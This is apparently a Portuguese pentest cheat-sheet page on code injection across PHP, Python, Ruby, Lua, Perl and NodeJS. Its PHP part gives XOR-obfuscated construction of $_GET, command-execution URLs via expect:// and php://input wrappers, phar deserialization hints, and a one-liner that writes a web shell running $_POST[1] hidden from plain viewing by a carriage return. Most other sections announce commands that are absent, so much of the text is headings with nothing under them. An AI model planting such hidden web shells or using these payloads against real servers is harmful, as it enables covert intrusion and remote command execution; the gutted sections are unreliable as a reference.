Code Injection

PHP

XOR

Podemos inserir caracteres utilizando XOR. Por exemplo, caractere M, é o equivalente a expressão "0"^"}". Então, para escrevermos $_GET, podemos utilizar a seguinte expressão:

php -r 'echo "`{{{"^"?<>/";'

Inserindo Comandos via Wrappers

Executando comandos

vuln.php?page=expect://ls
/example/?page=php://input&cmd=ls

Ocultando Caracteres

echo -e "<?=\`\$_POST[1]\`?>\r<?='Test';?>" > <file.php>

Perceba que, se ler o conteúdo do arquivo gerado com o comando acima, você irá ver somente <?='PHP Test';?>, porém com o strings ou algum editor como o Sublime Text, é possível ver o seu conteúdo completo.

phar

Sempre que ver algum arquivo sendo chamado utilizando o phar, por exemplo md5_file('phar:///path/to/file');, é possível inserirmos um arquivo phar malicioso.

Python

Inject

Caso seja possível inserir comandos em Python via web, podemos utilizar o comando abaixo. Caso o comando tenha sucesso, será retornado 0 e caso tenha falha, retornará algum número como 32512, significando que o processo retornou 127 (comando não encontrado).

Caso queria ver o retorno do código, podemos utilizar o seguinte comando:

Tente também inserir comandos que estejam com algum encode, por exemplo, base64. Assim podemos inserir comandos no seguinte formato:

Pegando Bash

KShell

Caso esteja preso em um kshell (shell com comandos limitados), utilize o comando abaixo para sair da shell limitada e acessar como usuário comum:

Caso não dê certo, digite os comandos abaixo:

Pickles

LUA

Ruby

Execução Única

REPL

Execute o comando abaixo

Com isso irá abrir uma sessão no terminal semelhante a isso irb(main):001:0>. Agora execute comandos em volta do caractere `, exemplo:

Perl

Lendo Arquivos do SO

NodeJS

Last updated

Was this helpful?